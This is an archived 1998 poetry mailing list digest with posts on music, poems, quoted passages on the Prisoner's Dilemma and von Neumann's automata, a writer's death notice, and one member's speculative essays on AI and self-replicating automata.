There definitely is true A.I. Beyond any shadow of a doubt.

I did not claim that there is no A.I. I claimed that the machines that have A.I. abilities are by their nature psychopathic. Nevertheless they are very powerful, very formidable, A.I. systems.

> *This is not to say that aware computers are impossible. But not our present systems. I'm sure someone else could babble more on how massively parallel the brain is compared to our most sophisticated systems and so on and so forth....*

No. I disagree again. Computers with more parallel processing than the human brain is capable of are, I am quite sure, a definite yes. That does not imply that they think, function, behave, like human beings. (That is both good and bad.)

> *As one last aside, Tipler's statement is almost teleological in the way it argues a straight line of improvement past to future.*

Jack Sarfatti (PhD Physics), who has (on the web) referred to personal communications and shared interests as to Tipler's work, implies that the A.I. computer ultimately becomes omniscient. Or perhaps we might choose to say the quantum computer becomes the Orwellian "Big Brother". How about "Q" in Star Trek the Next Generation ? Similar idea. Sarfatti has also given the Q to computer analogy.

As to any of that a relevant poem is Gregory Corso's "Mind Field", which Sarfatti makes repeated reference to as being of some importance. I believe it remains in print as a monograph.

> *increasing viciousness and scale of racism when it does arise (The Holocaust, E. Timor, the former Yugoslavia) and the new forms of abuse we see arising (Genetic discrimination, the destruction of personal privacy vis-a-vis selling personal information by companies).*

The selling of information is a much lesser question.

The fact is that in the purest sense of it there is no privacy. Privacy of the kind that you are speaking for, does not in fact exist. In many regards, experiments prove that personal privacy is largely a cherished illusion that individuals tend to irrationally cling to.

As for genetic discrimination, the quantum computer is essential for storing the genetic blueprints of all species into a complete reference data bank. We might very soon be able to learn to synthesize creative, ingenious, new sequences of blueprint, and even imbue it with adequate software to hardware (perceptual, cognitive, and organismic regulatory programs for instance), to build whole new species of life for survival in nearly any environment, but that kind of radical sequencing of blueprint information is greatly assisted by having the greatest possible number of examples of successful blueprints already on hand.

I do not mean simply DNA sequences, but in fact the inherent data bases that go along with those sequences. For instance attempt to write a software program to handle human video. It would be very massive. Even that for a simple insect, the butterfly for instance, would be massive. You soon run out of neurons and have to resort to the molecular, even the quantum level, to store the information.

I believe that we essentially want to acquire _all_ of that information, from every species. That is one massive scanning, storage, interpretation and retrieval project. It is a very urgent project. A highest priority project, and I have said exactly that more than five years ago.

One of the arguments for uncontrolled too rapid growth of world population has been genetic diversity. Scanning and storage presever diversity despite a necessary halt in population growth, and in fact a gradual reduction. There are no real alternatives to that scenario. With technological advances, genetic data can assure maximum diversity while the population burden is brought within an ecologically viable level maintaining quality of life.

So we end up in a race for better computational devices. Ultimately better means of scanning, storing, safe-guarding and retrieving quantum level data.

Also, have no doubt that it is going to happen. Sooner than you think. In some ways it is already happening.

That is one of the essential points of Morphealism. We, humans, will be able to build and program _anything_. It will be possible to design, build and program any possible life form, using any valid DNA blueprint and any downloadable software input into the quantum mind of that creation. That does not necessarily eliminate "free will" but certainly provides the tools for actualization.

Morphealism claims that there shall be no limits to human creativity. Anything that was, would be, or is possible will eventually be possible.....

Bob Ezergailis
aka Morpheal

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389. MAYHEW
A couple of queries
Sat 16 May 1998

Any thoughts about 1st book competitions? I noticed the Yale prize went vacant this year.

Anyone live in St. Louis? I am here for the summer (St. Louis).

Jonathan Mayhew

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390. Tom Orange
speaking sonicly
Sat 16 May 1998

Matt Kirschenbaum asked: <<Speaking of rock and roll, has anyone else been listening to the new Sonic Youth, A Thousand Leaves (out on Geffen)? Or their SYR EP releases from the past year? Some of it's boring, but a lot of it's really pretty.>>

havent picked up the new one yet, tho hoping to do so soon. but i did pick up the sonic youth/jim o'rourke cd on syr -- quite amazing. haunting, scary, lovely.

sonic youth played in toronto just a week or so ago, with a group opening for them (name escapes me; three or four letters) featuring paul dutton of four horsemen fame. thurston moore also paid tribute to greg curnoe and spoke highly of the no music festival here in london last month, which featured thurston, alan licht, jojo hiroshige and his partner junko, london's nihilist spasm

band, the ramel/corbett/kapsalis trio from chicago among others. my auditory processing hardware is still trying unscramble itself after that one...

cheers,
t.

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391. **Don Wellman**
Re: subsistence what matter poetry
Sat 16 May 1998

Wendy Kramer's post and the materials she cites, made me think of Bern Porter's "I've Left" --surely the classic of subsistence poetics.

Don Wellman

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392. **F. W. Perrella**
Web Del Sol - AGNI Spring issue #47
Sun 17 May 1998

Samples from the current issue of AGNI are available for viewing at http://webdelsol.com/solhome.htm. The Soul Has Many Brides, by Charles Simic, is highlighted, as is an essay by Chris Walsh called "Building the House of Dying": Donald Hall's Claim for Poetry. The hardcopy version of AGNI also features an essay by Annie Callan called Catherine in Glass from _Swimming at the Joyce Museum_. You are welcome to email either AGNI or Web Del Sol with your comments. Thank you.

Anne Perrella

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393. **R. Gancie**
bytes & women's rights
Sun 17 May 1998

"In 1951 Merrill Flood of the RAND Corporation introduced one of the most thought-provoking concepts in the history of strategic thinking. His idea, later termed the Prisoner's Dilemma game by Albert Tucker, cuts to the heart of an age-old question: How do we balance individually selfish acts against the collective rationality of individual sacrifice for the sake of the common good? A familiar example will illustrate the point.

In Puccini's opera Tosca, Tosca's lover has been condemned to death, and the police chief Scarpia offers Tosca a deal. If Tosca will bestow her sexual favors

on him, Scarpia will spare her lover's life by instructing the firing squad to load their rifles with blanks. Here both scarpia and Tosca face the choice of either keeeping their part of the bargain or double-crossing the other. Acting on the basis of what's best for them as individuals, both Tosca and Scarpia try a double cross. Tosca stabs Scarpia as he is about to embrace her, while it turns out that Scarpia has not given the order to the firing squad to use blanks. The dilemma is that this outcome, undesirable for both parties, could have been avoided if they trusted each other and acted not as selfish individuals, but rather in their mutual interest.

The tragic fates of Tosca and Scarpia serve to characterize the essential ingredients of a classical Prisoner's Dilemmma situation: There are two parties, each of whom has the choice of either cooperating (C) or defecting (D), i.e. acting either to sacrifice their individual interests for the sake of the common good, or to further their selfish individual interests at the expense of the other. In addition, there must be a payoff structure involving a temptation (T), the payoff received by defecting when the other party cooperates; a reward (R), the payoff each party receives if they both cooperate; a punishment (P), the payoff they each get if they both defect; a sucker's payoff (S), which is the amount received by the cooperating party when the other defects. For the Prisoner's Dilemma to arise, these payoffs must be ordered largest to smallest in the following way: $T > R > P > S$. To avoid getting locked into an out-of-phase cycle of mutual defections and cooperations, there is the technical condition $(T + S)/2 < R$. Under these conditions, let's quickly analyze the source of the dilemma faced by Tosca and Scarpia when considering their respective courses of action.

To make things concrete, let's put in numerical values for the payoffs in Tosca. Suppose they are $T = 4$, $R = 3$, $P = 2$, $S = 1$. Tosca can then argue: If I defect and Scarpia cooperates, my lover's life will be saved and I won't have to see Scarpia, yielding a payoff to me of 4 units. But if I defect and Scarpia also defects, then even if i do lose my lover, at least I won't have to give myself to that pig Scarpia and I'll end up with 2 units. On the other hand, if I trust Scarpia anad he trusts me so that we both cooperate, I'll get 3 units, while if I trust him by cooperating and he double-crosses me and defects, then I'll get only the sucker's payoff of 1 unit. So, all in all, by defecting I'm assured of getting 2 units, whereas if I cooperate I can't get anymore than 3 units and could end up with much less. Therefore, rationally it's in my best interest to defect. Of course, the situation is perfectly symmetrical and Scarpia, being equally rational and logical, comes to the same conclusion and also opts to defect. Result: Both Scarpia and Tosca end up with much less than they could have had by showing a little mutual trust. In other words, by employing individual rationality they sacrifice their collective joint interests."---from

Paradigms Lost: Images of man in the Mirror of Science by John Casti, William morrow & Co.---cp

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394. **Miekal And**
Re: subsistence what matter poetry
Sun 17 May 1998

Don Wellman wrote:
>
> Wendy Kramer's post and the materials she cites, made me think of Bern
> Porter's "I've Left" --surely the classic of subsistence poetics.
>
> Don Wellman

amen

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395. **J. Kuszai**
scene reports, please
Sun 17 May 1998

On Sat, 16 May 1998, Tom Orange wrote:

> *sonic youth played in toronto just a week or so ago, with a group opening for them (name escapes me; three or four letters) featuring paul dutton of four horsemen fame.*

the group is CCMC (anyone know what that stands for?) and features Michael Snow on keyboards (synth?), John Oswald on Sax, Dutton and someone else I'm forgetting sadly. Oswald I know mostly for his digital-sample work and the "Mystery Tape Laboratory." Until recently, I didn't know the artist Snow was a musician too or that he played in this group. Dutton I believe, as Oswald, is an editor of sorts for MUSICWORKS. They play at the Music Gallery every tuesday. I think there were a couple of folks on this list who were at that Sonic Youth show, which I sadly missed. Any reviews out there?

Also, on another music related note:

I was saddened to learn, on a recent visit to NYC, that Tom Cora had passed away recently due to brain cancer. This shocked me! He was one of my favorite musicians. I love everything the guy touched. How he saved the Ex from total obscurity with their late collaborations with him. If you don't know "The Ex" they are as big as the big as the clash, for me, in that punk history. They also have connections to Thurston and Lee Renaldo, and if you can find that double-cd that they play on, get it. Check out even Tom Cora's "Imperial Buzzard" on

the "Polka Dots and Laser Beams"collection of "post-modern" polkas commissioned by accordianist Guy Klucevsek. Or his work with the vocalist Catherine Jauniaux and others in the group The Hat Shoes.

Anyhow--if anyone knows anything about the Tom Cora situation, I'd like more information. This was totally devastating news coming out of nowhere, as I didn't know he was sick.

By the way, is Lee Renaldo still doing his poetry magazine?

And by way of a random poll: what music do people currently have in rotation? I've got the Klucevcek anthology, DJ Vadim, Beck's "One Foot in the Grave" and a Tortoise CD I borrowed from a friend. Also something Bob Xark sent to me, which claims to be influenced by Greg Sage. Xark sings about injustices such as "managed care" and more! a very interesting CD I did not think I would like... Billie Holliday on the turntable. I tried to listen to Frank. But everytime I listen to Frank, I just think to myself, naww.

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396. **morpheal**

Re: bytes & women's rights

Sun 17 May 1998

> *"In 1951 Merrill Flood of the RAND Corporation introduced one of the most thought-provoking concepts in the history of strategic thinking. His idea, later termed the Prisoner's Dilemma game by Albert Tucker, cuts to the heart of an age-old question: How do we balance individually selfish acts against the collective rationality of individual sacrifice for the sake of the common good? A familiar example will illustrate the point.*

I had occassion to study the Prisoner's Dilemma and in fact act as tutor for a political philosophy course that incorporated it as curriculum. There is one heck of a lot wrong with it.

Essentially the real world does not function that way. The real world is more multi-variable than the dilemma ever allows for.

The classic dilemma involves two people, who must trust each other, for the best outcome, but in fact, in the real world, there is inevitably a group of others, all with their own selfish motives and varying aggendas, complicating any possible real world scenario. Best outcome, even for the pair, is not assured by their mutual arrival at their apparently, logically arrived at, best course of action.

More likely both dilemma participants get "shot down" by other conspirators.

They both end up dead, either to each other, metaphorically, or literally dead no matter how good intentioned the conspiratorial actions in fact were in meant to be. Why ? Not the same as your unusual literary example, but instead because of the conflicting desires, motives, purposes, beliefs, and values, of other people. The jealousies of others can be a poweful part of that. Particularly, but not exclusively, the others who covet what the pair would gain, whether it is love or something more material than that.

That the prisoners must conspire is inevitable, because at the very least they are the prisoners of the reality we have described in the previous paragraph. They have no choice but to conspire, even knowing that chances of failure greatly outweigh any chances of a truly positive outcome.

By becoming conspirators with each other, or for each other, they set themselves apart and jealousies might include those who see that as the mass of the senate looked upon caesar in Bill's play concerning archetypal dilemmas.

"Et tu Brute", and Brute is inevitably both of their "best friends" who have chosen to deceive them for those "friends" own selfish purposes, simply because those "friends" were not chosen to be part of the same conspiracy instead of whomever was chosen as pair in the dilemma. Or, alternatively, because a group of "friends" wanted to favour a different conspirator, perhaps purely because that group, large or small, is more well acquainted with another, or has some identifiying interest in common with that individual. It can be simple minded or very complicated. Or, more often, because the group _fears_ within their pecking orders, the individual they ultimately choose to favour. Usually it is very misguided, but extremely powerful in terms of influence on the human lives victimized by such machinations. It is not always a matter of conscious decision on the part of the larger conspiracies. Such things become more alike to a wave effect in a football stadium - a mass chain reaction.

Add the complexity of people who favour one outcome being influenced by people who favour another outcome. If the KGB and the CIA were working on influencing the same scenario which way would the protagonist and antagonist relation tend to shift ? Similarly any two opposing factions (political, religious, social strata, occupational affiliation - eg. musicians or businessmen). There you have ultimate and often uncontrollable spin. Simply an example, from the real world, albeit archetypal and ahmmm... "fictive".

How about those situations where inadequate communication between the primary pair in a dilemma results in misguided actions by one or the other that ends up as betrayal, brought about by no fault of their own other than what neither knew about the situation ? Knowledge is never perfect and someone else in the crowd always has another viewpoint that might gain precedence as

to misguiding well intentionned acts. To isolate prisoners and hold them incommunicado gives a third party the power. The prisoners inevitably lose, and lose completely, in that more common scenario. Social stigmatization is not unusual in dilemmas. Actions made without sufficient facts being available tend to intensify the subsequent stigmatization and further thwart positive outcome. Doing nothing has the same effect. Another dilemma.

Consistency as to information is no gaurantee as to that information being accurate. That is another commonly false basis for actions. Another false belief that is commonly held and one that plays into the reality of human dilemmas. Also one that is used quite frequently by third party interests.

Then there are the conspiracies to make non prisoner's dilemma situations appear to be such dilemmas, and that would inevitably result in a wrong action that would serve neither primary participant but only someone else's selfish motives as to someone else's influencing the outcome. Sometimes the most horrible scenario of all.

How do they _know_ what to do is a very interesting question. Even if they have direct communiction, which is denied to most such prisoners by those who are attempting to sway the outcome in some other direction, they might easily end up arriving at a purely well meant decision as to actions that does not in fact serve their mutual good intentioned interests, but ends up serving someone else's purely selfish interests, perhaps even cruel and unusual effects on the prisoners. They both unwittingly end up being victims of a third party, and perhaps held incommunicado from each other so nothing is ever positively resolvable. That is even more likely to happen in the real world and is essentially ignored in the classic idealist discussions of the Prisoner's Dilemma.

M.

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397. R. Gancie
byte Mary Shelley
Sun 17 May 1998

"In June of 1948 [John] von Neumannn gave three lectures on automata at the Institute for Advanced Study to a small group of friends. He probably did this in preparation for the Hixon symposium which took place in September of that year. These lectures contained the most detailed description of the parts of his self-reproducing automata that I know of. For this reason, I have attempted to reconstruct, from notes and memories of the audience, what he said about these parts and how they would function.

Von Neumann described eight kind of parts. All seem to have been symbolized with straight lines; inputs and outputs were indicated at the ends and/or the middle. The temporal reference frame was discrete, each element taking a unit to respond....

Four of the parts perform logical and information processing operations. A stimulus organ receives and transmits stimuli; it receives them disjunctively, that is, it realizes the truth-function "p or q." A coincidence organ realizes the truth-function "p and q." An inhibitory organ realizes the truth-function "p and not-q." A stimuli producer serves as a source of stimuli.

The fifth part is a RIGID MEMBER, from which a rigid frame for an automaton can be constructed. A RIGID MEMBER DOES NOT CARRY ANY STIMULI; that is, it is an insulated girder. A RIGID MEMBER may be connected to other RIGID MEMBERS as well as to parts which are not rigid members. These connections are made by a fusing organ which, when stimulated, welds or solders two parts together. Presumably the fusing organ is used in the following way. Suppose point 'a' of one girder is to be joined to point 'b' of another girder. The active or output end of the fusing organ is placed in contact with points 'a' and 'b'. A stimulus into the input end of the fusing organ at time 't' causes points 'a' and 'b' to be welded together at time 't' + 1. The fusing organ can be withdrawn later. Connections may be broken by a cutting organ which, when stimulated, unsolders a connection.

The eighth part is a muscle, used to produce motion. A muscle is normally rigid. It may be connected to other parts. If stimulated at 't' it will contract to length zero by time 't' + 1, keeping all its connections. It will remain contracted as long as it is stimulated. Presumably muscles can be used to move parts and make connections in the following way. Suppose that muscle 1 lies between point 'a' of one girder and point 'b' of another girder, and muscle two lies between point 'a' and the active end 'c' of a fusing organ. When both muscles are stimulated, they will contract, thereby bringing points 'a', 'b' and 'c' together. When the fusing organ is stimulated, it will weld points 'a' and 'b' together. Finally, when the stimuli to the muscles are stopped, the muscles will return to their original length, at least one end of the muscle 1 separating from the point 'ab'. Von Neumann does not seem to have discussed the question of how connections between muscles and other parts are made and broken."---from Theory of Self-Reproducing Automata by John von Neumann, edited and completed by Arthur W. Burks, University of Illinois Press---cp

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398. **charles alexander**

Re: scene reports, please

Sun 17 May 1998

> *And by way of a random poll: what music do people currently have in rotation?*

currently in rotation:

Rainer: Nocturnes -- Rainer a great blues guitarist/songwriter from Czechoslovakia, longtime in Tucson, died a few months ago after a couple of years of struggle with brain tumors. I strongly recommend checking this out or his Worried Spirits -- both may be hard to find, may require stores that handle imports or have very good blues sections

Choying Drolma & Steve Tibbets: Cho -- Cho is a yogic practice in which the yogi or yogini mentally offers his or her own body as a means of severing attachment. Based on the Mahayana tradition of Prafjnaparamita, transcendent knowledge. Partially recorded at Nagi Gompa, a buddhist nunnery in the foothills of the Himalayas, overlooking the Kathmandu Valley in Nepal. Currently over 100 nuns live and practice there.

Low: Long Division -- Low is an alt rock band out of Duluth (if they are still around). This CD a few years old now, but I still come back to it. Almost unnervingly slow rock music.

Marilyn Crispell Trio, from live concert at Walker Art Center -- currently one of my favorite jazz CD's. Reggie Workman on bass and, oh no, I can't remember the third of the trio right now.

Had the new Loreena McKennit CD on, and I like The Mummer's Dance, which gets a lot of radio play these days, particularly for Canadian Celtic music, but I don't think there's anything else quite that good on the CD. A little disappointing.

I just got off Mount Lemmon, climbed Lizard Rock, and the Matterhorn (names of rock outcroppings in the Catalina Mountains), and went up much higher where there's still lots of snow, even here in southern Arizona. Got me wondering about who people on this list read for work one might consider "nature" poetry -- Niedecker, obviously, and some others I can name. But I know a lot of this list is concerned with a poetry which I mostly think of as having to do with the human condition, the nature of the individual subject, the nature of the social subject, etc. -- and not so much directly with the 'natural' world. So who do you read in that regard?

charles
charles alexander :: poet and book artist :: [redacted]

chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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399. **Tom Orange**
scene reports, please
Mon 18 May 1998

On Sun, 17 May 1998, Joel Kuszai wrote:

> *the group is CCMC (anyone know what that stands for?)*

thanks, i knew it was something like that but figgered i'd leave it to someone else rather than blunder into it myself (acronym looks like AACM +/- C&C music factory, shudder to think...)

> *By the way, is Lee Renaldo still doing his poetry magazine?*

dunno, know what it was called?

> *And by way of a random poll: what music do people currently have in rotation?*

the lovely day today spent inside working, hence recourse to big symphonies: toscanini beethoven 4 & 7, karajan mahler 5, on old vinyl that peter left behind. chemical brothers dig yr own hole friday at sneaky dee's in toronto with scott, big star on the drive over thursday, and wednesday night was old branca (statics, theoretical girls), blonde redhead, and jim o'rourke remove the need (how the hell is that stuff live no effects no processing?)

knuckle down,
t.

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400. **Stephen Cope**
Re: scene reports, please
Mon 18 May 1998

Hi Joel, others:

In rotation:

Nice new disc from Joe Maneri came in the mail a month ago. I was not familiar with his work, but he's apparently developed a 72-note-to-the-octave theory which has isolated him from his collegues at the Boston Conservatory. The disc is "Coming Down the Mountain," on Hat Art. A nice quartet date. (My review of this is due out in the next OPTION).

Also listening to a Gregg Bendian disc ("Counterparts") on CIMP. Vinny Golia on reeds is awesome. Paul Smoker and Mark Dresser also in the group.

And: Nice date from a large group assembled by Yusef Lateef and Adam Rudolph, recorded live at the Jazz Bakery in LA (2 discs). Called "The World at Peace," with a beautiful dedication to Coltrane.

Also: Getting into Son 14 (from Cuba), some recently re-released recordings of theirs. Adalberto Alvarez is the leader on the earlier dates, and the vocalist, who goes by the name of Tiburon, is one-of-a-kind.

I could go on...

Stephen

ps - Sad and shocking news about Cora. I'd seen him solo in Santa Cruz some years back, ripping up a cello...

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401. **Miekal And**
Re: scene reports, please
Mon 18 May 1998

---

one of my favorite all time concerts was roscoe with ed wilkerson's big bag playing in the UW-Madison student union to a room full of drunken jocks & sorority girls...he played his famous soprano solo (called "streams" ??) which is powered by circular breathing & layers of multiphonics. he had a room full of maybe 750 of uw's finest on their feet yelling & cheering for the last ten minutes, like the hometeam had just won the rose bowl & I doubt many ever listened to the free jazz ear space again...

robert wyatt's shleep gets played a lot around, the tortoise recordings tho I liked old tar babies better & zon likes to listen to the worst 60s radio ....

also for anyone in chicago area, check out the music of russell thorne an incredible composer, keyboardist & cellist....his tape music is an austere mix of scriabin & cage rozart mix era works for tape.

miekal

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402. **Douglas**
Re: yet another query
Mon 18 May 1998

Temblor stopped publishing years ago.
My only guess of where there still be copies

is at Gotham Book Mart. But most libraries
do have copies and can loan on interlibrary.

Douglas Messerli

charles alexander wrote:
>
> mz--
>
> I would imagine several libraries: New York Public, Columbia, NYU, etc. --
> I don't know if any place would have one for sale.
>
> At 03:15 PM 5/15/98 -0400, you wrote:
> >where can one find a copy of TEMBLOR in NYC? St. Mark's?
> >
> >mz
>
> charles alexander :: poet and book artist :: [redacted]
> chax press :: alexander writing/design/publishing
> NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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403. daniel bouchard
(no subject)
Mon 18 May 1998

A Nuclear Bomb is the Viagra of Nation-States

A nice black ant
walked about my kitchen sink
long after I finished breakfast.
Feeling humane, I tried to capture it
to release it from my domain.
In my haste and clumsiness, I
crippled it with my fingers. It staggered
wildly, panicked, dragging crushed legs.
Feeling remorse but still optimistic
I threw it out the window,
wishing it well while it fell
to certain death. I read
for most of the afternoon, tinkered
on the piano, went for a walk, and
then read some more.

- daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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404. Billy Little

Re: scene reports, please

Mon 18 May 1998

---

in the dream I'm on the phone with Adam Zimmerman
and he's asking me to write a song for their new luxury
toilet paper, how''s this one Adam?

OLD GROWTH*
the thousand year old toilet paper

(Kansas City whistles thru here\
like a fugue on a freight train)

We're wiping with OLD GROWTH*
asses like ours deserve it
as soft as a ghost
(this tree was already a giant
when Michelangelo was a whippersnapper)

we're wiping with OLD GROWTH*
we're being kind to our behind
so soft you'll feel holy angelick
when you wipe with OLD GROWTH*
you're closer to the millennium

the forests' holy ghosts
swim in the sewers
float in the cesspools
haunt the septic fields

(this tree could tell you
a curly tale or two
it could have told the toddler Chaucer)

the declaration of interdependance
is written on toilet paper tissu hygienique
and smuggled from prisons
snuck from labour camps
one sheet at a time
the declaration of interdependence
is written in blood
on toilet paper
tissu hygenique
communiques d"enfer
slipped out of hell hole torture chambers
sheet after sheet

maybe when i'm dead i'll be reincarnated as a tree
maybe the tree sings with as bad a voice as me:

"i'm going to be toilet paper
toilet paper here I come
they got some wiggly little behinds there
and i'm gonna wipe me some

"they're shitting in Memphis
they're shitting in Nashville
they're looking for toilet paper
tissu hygenique je l'approche
toilet paper here i come

"i'm going to wipe Elvis
i'm going to wipe Kennedy
i'm going to wipe Marilyn
i'm going to wipe Catherine Denueve
i'm going to wipe Sam Shepherd
i'm going to wipe Jessica Lange
i'm going to wipe the voice of Sherazade
when i'm one thousand and one

"they're shitting in Huntsville
they're shitting in Little Rock
they're looking for toilet paper

getting flushed in Sarajevo
clean assholes in Hyannisport
catching sputum
stanching the Queen's blood
sopping spermatazoa
collecting snot from your snozzola

"i'm going to be soft as gold
as expensive as feathers
her a clearcut la un clearcut
everywhere a clearcut clearcut"

they're burning eagles' nests in the slash
they're driving those chainsaws with a lash

"they're shitting in Clayoquot Sound
ils merdes dans Tofino
use seal skin
the permanent toilet paper
use mink

"north of Nanaimo
they're calling for toilet paper
in ditches on islands
toilet paper there i go

je et l'arbre est un
je chants

"i'm going to be toilet paper
stuff the bras of Peggy Atwood's characters
pad the pecs of Pasolini's paramours
clean old Mastroianni's gold rimmed specks
the diamond studded shades of Eddie Murphy
i'm a tree with ambition
when i'm a thousand and one
i'll wipe nothing but the best

"they're shitting in Bosnia
they're shittin in Somalia
wish they had some used toilet paper to eat
toilet paper soft as pickled pigs feet
they call me toilet paper
in my wildest dreams
i'm wiping up orgies
i'm blowing in the slipstream of success

i'm the tree
old Merlin lives in me
I'm going down
TIMBER! Yippee!
soonRu Paul and Tony Blair
will be wiping only the best

lipstick and shoeshine on me
the thousand year old hemlock tree
i'll shine the silver
of the swollen liver set

the Declaration of Independence
was written on hemp
the Bill of Rights
signed and sealed by hemp growers
they're making them toilet paper
toilet paper here i come

l'arbre scatologiste!
the ground giant thousand year old tree
now toilet paper
wipe the finest cuisine off
the rectums of the richest gourmets
they're calling for more and more
donnez moi more roles of toilet paper
they can't wait
to get they hot little hands
on my millenial pulp

OLD GROWTH* , the luxury wipe
be kind to your behind
nobody deserves it more than you
---
is this nature poetry?
or kaka poetry?
if the poep shitz in the voods is that denture poetry?
oh yes, that asterisk
*my eudora doesn't seem to want to reproduce my tm(trademark symbol) which should replace the asterisk in your consciousness and/or your typesetting after
all capitalized OLD GROWTH which is a trademarked name owned and operated
by the Forbidden Plateau Fallen Body Dojo and any use of the term is verboten without
specific permission from the owners and operators represented by the Baka Roshi

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405. **morpheal**

Re: byte Mary Shelley : a truer picture than Neumann

Mon 18 May 1998

> *"In June of 1948 [John] von Neumannn gave three lectures on automata at the Institute for Advanced Study to a small group of friends. He probably did this in preparation for the Hixon symposium which took place in September of that year. These lectures contained the most detailed description of the parts of his self-reproducing automata that I know of. For this reason, I have attempted to reconstruct, from notes and memories of the audience, what he said about these parts and how they would function.*

This actually makes no real sense.

It seems to follow along ideas about automata from the previous century and earlier, with little that is new. The major problem of what substrate the automata employ as the medium within which they reproduce is unresolved. That becomes the interesting crux of the problem to which we get an insight only when the first self-replicating computer virus is written and disseminated to many computers, causing the same effects on each. Each instance of the virus within the substrate of the computer architecture is a replication and functions independently to reproduce itself by using the substrate medium where it rearranges that medium as a raw material to produce another instance, or many instances, of its own image.

Take that a little further and include artificial intelligence.

Then extrapolate that to non conventional media. It is conceivable that an artificial intelligence grafted into a suitable medium could use the quantum structure of that medium for the purposes of growth and replication. Let us remain within the current scientific metaphor of quantum structure. Since quantum structure is the very basis of all the material stuff and its interactions that comprises the universe we live within it is conceivable that _any_ such matter might be a suitable substrate for the artificial intelligence to be grafted onto, where that substrate offers provision for re-ordering of some of its components in a meaingful manner. It might be that most, if not all, matter, is of that kind at the quantum level. That all matter is able to store meaningful information and that that quality is not limited to the conventional materials used to produce currently widely known computational technologies.

I am definitely predicting automata capable of existing, perhaps "living", outside of computer architecture as we know it. It might even possible for an automata to be transmitted into something as inorganic as a building wall or a crystal lattice structure of an steel beam. Both of those are capable in theory of harbouring meaningful information content.

Of course, it might seem more macabre, the human brain would be the best possible medium for such a "creature" to infect and reproduce within. That does not mean that the brain can serve as a powerful and coherently effective transmitter to send the replicant that might be produced to a new subtrate medium. There are implications that the brains of creatures might have such electromagnetic power and in fact I believe they likely do, but I know of no published science on the subject. The brain as quantum transmitter and receiver is likely a certainty, even based upon Thomas Alva Edison's speculations in the the 1920s and based upon some other exceptional researches, including what comes to us from occult sources.

Thus the lightning bolts drawn from the heavens to give Frankenstein life, in Mary Shelley's novel are perhaps accurate, if symbollic, representations of the imbuing of artificial intelligence into the restored cadaver.

It is interesting that Cronenberg's films give intimations of this theme, but in a more subtle way. There are subtle intimations of resurrection within the film "Crash", based on Ballard's book of the same title. That is not the only place within fiction that that theme gains a resurgence, and is no longer as monstrous as in the Frankenstein epic. There among a Frankensteinian world of the mad scientist Vaughn and his special privileges of access to disasters and the creation of disasters, we find intimations of the transferring of elements of personality, via an unnamed medium of transfer. There the restoration of what constitutues living intelligence into what would have been a dead corpse, become futuristic themes of more than mythic significance, even if all we have are subtle clues, including a hint of the Frankensteinian in Gabriella's unusual scar. Gabriella, in the story "Crash", is an accident victim who suffered very severe injuries and has significantly "recovered". The external hint of sumbiosis of organic and inorganic, of her braced body and legs, becomes more symbollic than is usual, and the scar on her thigh has not healed in any manner that we would normatively expect. We are never quite sure whether Gabriella is the Gabriella who was an automotive crash victim, or whether Gabriella is a symbiosis of restored remains combined with new elements. We are never sure whether the other main characters play with possible death in car crashes so as to gamble on their own resurrections, in a similar manner to Gabriella's resurrection in the flesh, or perhaps to personality transfer to new flesh. Of course that takes the element of various kinds of fetish, in their sexual and reproductive context, further than most fictive themes, and we also see the interplay of classic Thanatos and Eros within the newer Frankensteinian theme of some never explicitly discussed form of resurrection.

There is a poetry to it all that fascinates, and in some senses the new potentialities of Frankensteinian mastery over nature, offer some incredible instances of beauty, as well as power. We must learn to see that as well as to

fear our own ideological narrowness tainting the Morphealist project that gives birth to the unfettering of future creativity from its traditional constraints. We must fear that narrowness defining what is positive and what is to be considered harmful. We must therefore fear some strains of conservatism standing against creative progress. We must also fear misuse, and particularly totalitarian and totalistic use, where creativity is fettered again by the very means that would have freed it. We must not bind Prometheus to the rock and call on carrion eaters to gnaw at him, as if in fear that we might be surpassed as creators and our creative power might pass on to another, greater, species than ourselves. The Greek gods gained nothing by their action of causing Prometheus to suffer as they chose to make him suffer. They gained nothing from the punishment of Sisyphus either, though we still make many a scientist overtly, expensively and labouriously repeat the processes of covert invention. There are real lessons to be learned in that rather than taking such metaphors as archetypal templates applied to the future. Similarly with the lesson supposedly taught against Frankenstein and his creative project, as defined by Mary Shelley. We ought not to allow that to become the template that we would attempt to make the human future conform to either. There is a sense of that in "Crash" where the chance element, rather than the archetypal template of a traditional mythology is what is predominant in the hints of possible death and resurrection themes.

Ultimately the human mind is the womb from whence all automata are born.

Bob Ezergailis
aka Morpheal

author of "The Morphealist Manifesto"

↑ Index

406. **Cadaly**
Re: POETICS Digest - 16 May 1998 to 17 May 1998
Mon 18 May 1998

---

currentl rotation:

downstairs:
LP: W.S.Merwin, Television, The Minutemen
video: Buffy the Vampyre Slayer (from the source)
playstation: Doom, Twisted Metal
CD: Semi-Sonic, T-Model Ford, Sidnet Bechet, Louis Prima
cassette: making a (second) tape of the Louis Prima
car casette: lots of random classical, A Century of Recorded Poetry, some old Uncle Tupelo

upstairs: CD-ROM: Ohio Players, texture bitmaps, a lot of java stuff CD: some burmese piano music (Sandaya: The Spellbinding Piano of Burma), Everclear, a lot of violin music from the Library (modern or early music)

Sunday AMs are devoted to violin music.

Radio Presets: KROQ, UCLA student, USC student, 100.3 (R&B oldies, see "Ohio Players" above), classical, banda

Catherine Daly
[redacted]

Catherine Daly

↑ Index

407. Gwyn McVay
rigid members
Mon 18 May 1998

>>>The fifth part is a RIGID MEMBER, from which a rigid frame for an automaton can be constructed. A RIGID MEMBER DOES NOT CARRY ANY STIMULI;
that is, it is an insulated girder. A RIGID MEMBER may be connected to other RIGID MEMBERS as well as to parts which are not rigid members. These connections are made by a fusing organ which, when stimulated, welds or solders two parts together.<<<

Found poem! "Keep it up," as it were.

Gwyn

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408. Gale Nelson
John Hawkes
Mon 18 May 1998

John Hawkes died on Friday, 15th May from complications of heart surgery.

Hawkes, professor emeritus at Brown University, was author of over a dozen books of fiction, including The Cannibal, Second Skin, Death, Sleep & the Traveler; and more recently, The Frog. His beautiful baroque sentences, many of which ran seamlessly for half a printed page, were often describing characters in extremis, innocence or (as often was the case) otherwise.

